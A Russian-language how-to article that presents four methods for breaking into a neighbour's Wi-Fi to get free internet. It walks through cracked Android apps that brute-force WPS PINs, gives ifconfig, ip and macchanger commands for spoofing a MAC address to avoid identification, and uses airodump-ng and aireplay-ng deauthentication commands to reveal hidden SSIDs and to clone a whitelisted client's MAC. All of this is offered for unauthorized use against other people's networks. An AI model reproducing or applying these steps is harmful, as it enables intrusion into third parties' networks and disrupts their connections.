4 рабочих способа взломать соседский Wi-Fi
Shadow CasherПривет! Все мы знаем, что взломать Wi-Fi возможно и на самом деле для этого не нужно быть гением. Сегодня я подготовил для вас не один, не два, а целых 4 рабочих способа, чтобы вы могли перманентно наслаждаться халявным интернетом!
Статья получилась огромной, но зато сколько годноты в одном месте! :)
Способ №1. Для тех, кто не любит сложностей
Предупреждаю, все последующие способы я буду расписывать с глубокой теорией, также там понадобится Kali Linux. А вот этот способ отлично подойдет для новичков, которые не хотят разбираться в хакерских утилитах и теории взлома.
Единственное нам нужно - это телефон на android с ROOT-правами. Как их получить, есть море инфы в гугле.
Используется три приложения:
Wifi Access
Wps Wpa Tester
Wifi WPS Unlocker
Найдено на 4pda, ежели боитесь качать - ищите сами.
Шаг первый (WifAccess)
После открытия приложения нам сразу показывается список доступных сетей:
Красным цветом помечаются те сети, которые взломать не предоставляется возможным.
Синим цветом помечаются те сети, которые у нас уже сохранены и к которым мы можем подключиться.
Зеленым цветом помечаются те сети, что мы можем протестировать на уязвимости.
Выбираем сеть и нажимаем на нее:
Далее "Автоматическое тестирование":
После идет перебор возможных WPS паролей. Как сканирование окончится, покажет данные о взломанной сети или же, как в моем случае, что "PIN не найден":
На этом с этим приложением заканчиваем.
Шаг второй (Wps Wpa Tester)
Тут уже приложение поинтереснее, с его помощью мне удалось получить пароли от нескольких сетей в разных местах. По своей сути оно почти такое же, как и предыдущее, но, видимо, база возможных PINов больше. Начнем.
Как только заходим в приложение, нажимаем "Принять" а потом сверху жмем на круглую кнопку обновления.
Теперь нам показывает, какие сети возможны тестированию:
Зеленым, опять же, выделены те сети, вероятность взломать которые выше, а желтым - с невысоким шансом.
Снизу справа обязательно должна стоять галочка "Wps Only", ибо наше "тестирование" проводится как раз по роутерам, которые используют wps.
Я выбрал сеть Sagemcom:
Нажимаем "Connect Automatic PIN".
Если не получилось с первого раза, меняйте сверху галочки с "New Method" на "Old Method" и наоборот.
После нескольких попыток и разных вариаций вот что получилось:
Теперь у нас есть пароль к сети, который автоматом сохраняется в телефон, так что его не нужно будет вводить, но на всякий случай лучше заскринить.
Если в главном меню со списком сетей нажать на иконку дискеты рядом с кнопкой "обновить", появится весь список сохраненных сетей на смартфоне:
Кстати, уязвимости DIR-615 и flat56 были выявлены другим приложением, о котором далее пойдет речь.
Шаг третий (Wifi WPS Unlocker)
Его я считаю наиболее удачным из этих трех по критерию "количество возможных пинов".
Поехали. Открыв приложение, сразу нажимаем на кнопку "SCAN" и перед нами предстает список сетей:
Галочки стоят, как вы, наверное, поняли, на тех сетях, к которым у нас уже есть доступ.
Проценты, которые вы видите это уровень сигнала сети, или мощности, кому как удобнее.
Выбираем нужную нам сеть, нажимаем на нее -> "Yes" и видим следующее:
"The router not included in list of vulnerable routers, but similar model is vulnerable". Это значит, что такого роутера нет в списке возможных на взлом, но есть очень близкая похожая на него модель. Если будет написано зеленым "The router included in list...", значит он есть в списке.
Галочка автоматом стоит на "Try All PINs" и ее рекомендую не трогать. Нажимаем "CONNECT" и ждем результата:
К сожалению, наш "взломатор" не смог подобрать правильный пин к этому роутеру. Но... думаете это все? А нет, тут как раз-таки начинается самое интересное.
У нас крякнутая платная версия, поэтому есть дополнительный "платный" список PINов.
Снова заходим в нужную нам сеть, нажимаем "Yes" и далее нажимаем "More PINs". Жмем на коннект:
Каждую из них придется тестировать вручную. Нажимаем на "NO root", я лично тестирую так, можете попробовать с "root", но у меня всегда получалось и без него.
Далее у вас или вылезает окошко с данными, или же окно с неудачей, в котором нажимаете "ок" и далее по очереди тестируете каждый PIN.
Благодаря этому приложению, как я и говорил, получилось узнать пароли flat56 и DIR-615. Но сейчас, когда я хотел показать работу этого приложения, flat56 почему-то не поддается. Может быть соседи роутер поменяли, а может быть еще что-то...
Ну что-ж, вот и конец первого способа. Он, пожалуй, самый легкий в исполнении, но работает не всегда и взломать может не все точки Wi-Fi.
Теперь перейдём к другим способам!
Способ №2. Смена и автоматическая генерация нового MAC-адреса при новом подключении к Wi-Fi
Что за MAC-адрес?
MAC (Media Access Control) — уникальный идентификатор, выдается каждой единице активного оборудования (то есть сетевому адаптеру, роутеру, свичу и так далее) или некоторым их интерфейсам.
MAC прошит в оборудование при изготовлении и используется в сети для идентификации отправителя и получателя фрейма. Предполагается, что при появлении в сети нового устройства администратору не придется задавать ему MAC вручную.
MAC уникален (или, по крайней мере, должен быть) для каждого сетевого интерфейса. При этом у устройства их может быть несколько — например, у ноутбуков их как минимум два: один у контроллера проводного подключения по Ethernet, второй — у адаптера Wi-Fi. У роутера или у свитча адреса уникальны для каждого порта, а если это роутер Wi-Fi, то различаться будут адреса у каждого беспроводного интерфейса (у современных роутеров это 2,4 ГГц и 5 ГГц).
Зачем менять MAC?
MAC позволяет однозначно идентифицировать устройство и не меняется при смене операционной системы — он прошит в микросхему, которая предоставляет сетевой интерфейс.
Хакеры скрывают свой MAC, чтобы не допустить идентификации оборудования при атаке. Думаю, ты понимаешь, зачем это может понадобиться: если использовать реальный MAC, то он может быть засвечен при подключении к другим сетям. Существуют и средства сопоставления MAC с географическими координатами — например, скрипт iSniff-GPS из набора Kali Linux.
Практика
Итак, предположим, что ты используешь Linux. Давай посмотрим, как сменить MAC без использования дополнительных программ.
Открывай терминал и вводи команду
$ ifconfig | grep HWaddr
Если ты используешь Ethernet, то посмотреть адреса адаптеров можно так:
$ ifconfig | grep ether
Чтобы временно изменить свой MAC, нужно выключить соответствующий сетевой интерфейс. Например, для интерфейса eth1 команда будет такой:
$ ifconfig eth1 down
Теперь можно сформировать новый MAC.
$ ifconfig eth1 hw ether 00:00:00:00:00:11
Цифры, как ты понимаешь, в этот шаблон можешь подставить любые.
Теперь нужно снова поднять eth1.
$ ifconfig eth1 up
И последнее — нужно проверить, вступили ли изменения в силу. Если ты снова посмотришь список MAC, то увидишь, что интерфейс изменился. Однако после перезагрузки компьютера старое значение MAC вернется.
Было бы удобно, если бы MAC изменялся каждый раз при подключении к сети. В этом нам поможет пакет NetworkManager. Начиная с версии 1.4 эта программа поддерживает спуфинг MAC, причем у нее есть много полезных опций.
Для каждой группы «проводные» (ethernet) и «беспроводные» (wifi) правила MAC настраиваются отдельно.
Также помни, что беспроводной адаптер может находиться в одном из двух состояний:
- сканирование — задается с помощью свойства
wifi.scan-rand-mac-address
. По умолчаниюyes
, то есть во время сканирования будет устанавливаться произвольный MAC-адрес. Если выбратьno
, то этого происходить не будет; - подключен к сети — задается свойством
wifi.cloned-mac-address
, по умолчанию его значение равноpreserve
.
Для проводного интерфейса (свойство ethernet.cloned-mac-address
) и беспроводного интерфейса в состоянии подключения (wifi.cloned-mac-address
) доступны следующие варианты:
- явно указанный MAC — то есть можно задать свой постоянный MAC;
- permanent — использовать вшитый в устройство MAC-адрес (по умолчанию);
- preserve — не менять MAC устройства после активации (например, если MAC был изменен другой программой, то будет использоваться текущий адрес);
- random — генерировать случайную величину для каждого подключения.
NetworkManager настраивается через файл /etc/NetworkManager/NetworkManager.conf
. Как вариант, можешь добавить дополнительный файл с расширением .conf в директорию /etc/NetworkManager/conf.d
(называться конфиг при этом может как угодно). Я рекомендую именно второй способ, поскольку при обновлении NetworkManager обычно заменяет главный .conf, и если ты вносил в него изменения, то они пропадут.
Включаем автоматическую генерацию рандомных MAC-адресов
Если ты хочешь, чтобы при каждом подключении подменялся MAC-адрес, но при соединении с одной и той же сетью использовался одинаковый MAC, то надо добавить пару строк в конфиг. Вот они:
[connection] ethernet.cloned-mac-address=stable wifi.cloned-mac-address=stable
Свойства ethernet.cloned-mac-address
и wifi.cloned-mac-address
можно задавать по отдельности или вместе.
Проверить значения ты можешь, набрав ip a
, а чтобы изменения вступили в силу, нужно перезапустить NetworkManager:
$ sudo systemctl restart NetworkManager
Теперь подключайся к беспроводной сети и снова проверяй значения MAC.
Для одних и тех же сетей будут генерироваться одинаковые адреса. Если же ты хочешь, чтобы адреса всегда были разными, настройки будут такими:
[connection] ethernet.cloned-mac-address=random wifi.cloned-mac-address=random
Устанавливаем определенный MAC
Предположим, нам нужно использовать какой-то определенный MAC. Для этого снова будем править /etc/NetworkManager/conf.d/mac.conf
.
Чтобы задать MAC для проводного интерфейса, добавляй такие строки:
[connection] ethernet.cloned-mac-address=<новый MAC>
Чтобы задать MAC для беспроводного соединения — вот такие:
[connection] wifi.cloned-mac-address=<новый MAC>
Вместо <новый MAC>
, естественно, следует написать нужный MAC-адрес. И конечно, можно задать настройки для проводного и беспроводного соединения одновременно.
Обрати внимание, что при использовании этого метода MAC будет изменяться только после того, как ты подключишься к сети. До этого у интерфейсов будут их исходные адреса. Исключением может быть Wi-Fi, если ты уже настроил спуфинг, как показано выше. Для отмены спуфинга добавляй в конфиг такие строки:
[device] wifi.scan-rand-mac-address=no
И перезапускай службу, чтобы изменения вступили в силу.
Еще способы программно поменять MAC
Менять MAC умеет не только NetworkManager. На самом деле существует много способов сделать это при помощи как сторонних программ, так и системных служб. Чтобы мы могли отслеживать результаты, измени настройки NetworkManager:
[device] wifi.scan-rand-mac-address=no
Теперь он не будет спуфить MAC во время сканирования беспроводных сетей.
Поскольку в настройках NetworkManager не заданы параметры ethernet.cloned-mac-address
и wifi.cloned-mac-address
, будет использоваться значение по умолчанию (preserve
), даже если MAC был изменен другими программами.
Примеры дальше я буду выполнять в Kali Linux и менять настройки для адаптера Wi-Fi. Особенность всех этих способов в том, что изменения будут теряться после перезагрузки системы либо после переподключения адаптера.
Изменение MAC с помощью iproute2
Мы будем использовать программу ip, которая включена в пакет iproute2. Начнем с проверки текущего MAC:
$ ip link show
На выходе после слов link/ether
ты увидишь MAC-адрес. Первым делом выключаем соответствующий интерфейс. У меня это wlan0.
$ sudo ip link set dev wlan0 down
Далее мы переходим непосредственно к спуфингу MAC. Ты можешь задать любое значение, но помни, что сеть может быть настроена так, чтобы адреса не выдавались, если MAC не соответствует устройству какого-то известного производителя. Поэтому в качестве первых трех байтов лучше взять известный префикс и изменять только вторые три байта.
Для изменения MAC выполняем команду
$ sudo ip link set dev <интерфейс> address <MAC>
Значения подставь свои.
Последним шагом мы возвращаем интерфейс в состояние up:
$ sudo ip link set dev <интерфейс> up
Ну и для проверки изменений можешь написать
$ ip link show <интерфейс>
Значение link/ether
должно быть таким, как ты устанавливал.
Изменение MAC с помощью macchanger
Еще один вариант — использовать программу macchanger. Тут есть возможность и создать MAC как у оборудования какого-то определенного производителя, и полностью рандомизировать. В Kali эта утилита стоит по умолчанию.
В момент смены MAC, как и при других способах, устройство не должно использоваться, поэтому выключай его:
$ sudo ip link set dev <интерфейс> down
Дальше в качестве интерфейса у меня будет wlan0, меняй его на свой при необходимости.
Чтобы узнать значения MAC, можно запустить утилиту с опцией -s
:
$ sudo macchanger -s wlan0
В результате она выдаст текущий MAC и тот, что прошит в устройстве (на случай, если они не совпадают), а также укажет вендора. Например:
Current MAC: 00:c0:ca:96:cf:cb (ALFA, INC.)
Permanent MAC: 00:c0:ca:96:cf:cb (ALFA, INC.)
Чтобы поменять MAC на совершенно произвольный адрес, есть опция -r
:
$ sudo macchanger -r wlan0
На выходе к двум строкам выше добавится новый адрес.
Чтобы рандомизировать MAC, не меняя первые три байта (префикс производителя), есть опция -e
:
$ sudo macchanger -e wlan0
Ну и если ты хочешь сам задать новый MAC, используй -m
:
$ sudo macchanger -m <MAC> wlan0
Вместо <MAC>
подставь нужный адрес.
И наконец, чтобы вернуть исходный MAC, есть опция -p
:
$ sudo macchanger -p wlan0
Способ №3. Обнаружение скрытого SSID
Некоторые владельцы хотспотов настраивают их так, чтобы те не транслировали свое название (ESSID). Делается это обычно в качестве дополнительной меры безопасности. Пользователи не будут видеть такую сеть в списке доступных, а для подключения требуется набрать название вручную.
Это слабенькая защитная мера, потому что в определенные моменты ESSID все же транслируется в открытом виде.
Получаем скрытый SSID при помощи Airodump-ng
Поймать ESSID в эфире можно во время подключения клиента, а для этого нужно либо подождать, пока это произойдет естественным образом, либо форсировать процесс, отключив всех от точки доступа. Это называется деаутентификацией. Потерявшие связь клиенты начнут на автомате подключаться заново, и имя сети проскочит в открытом виде.
Первым делом запускаем airodump:
$ airodump-ng <интерфейс>
Когда он запалит новую сеть, ты увидишь ВSSID, длину названия и используемый канал. Например, если сеть работает на первом канале, указываем его:
$ airodump-ng wlan0 --channel 1
Точно так же, как при перехвате рукопожатия, можно задать ключ -w
и за ним — префикс имени файла. Захват рукопожатия не мешает выявлению скрытой точки. Дальше можно либо просто подождать, пока кто-то подключится, либо деаутентифицировать всех клиентов:
$ aireplay-ng -0 3 -a <BSSID> wlan0
Здесь -0
означает массовую деаутентификацию, 3 — количество отправленных пакетов.
Результат поступит практически мгновенно, и ты увидишь строку с полным названием скрытой точки доступа.
Способ №4. Обход MAC-фильтрации путем заимствования адреса из белого списка
В решении этой задачи нам снова поможет Airodump-ng. Переводим адаптер в режим мониторинга и выполняем такие команды:
$ ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up $ airodump-ng wlan0
Ты увидишь список сетей, количество подключенных клиентов и их MAC-адреса, которые можно присвоить своему адаптеру, если в сети настроена фильтрация по белым спискам.
Бывает и так, что сразу клиентов у определенных точек доступа не видно, поскольку программа собрала недостаточно сведений. В этом случае тебе опять же поможет деаутентификация. Если у хотспота есть хоть один клиент, ты это сразу увидишь после переподключения. А заодно можно и перехватывать хендшейки.
Для деаутентификации останавливаем Airodump-ng и запускаем снова, только уже с указанием канала интересующей нас точки.
$ airodump-ng wlan0 --channel 1
После этого шлем deauth-пакеты и смотрим, что получится:
$ aireplay-ng -0 5 -a <MAC> wlan0
После выполнения атаки будут раскрыты некоторые из ранее неизвестных клиентов. Копируй MAC кого-то из легитимных пользователей, записывай в настройки своей сетевой карты — и можешь проводить задуманную атаку.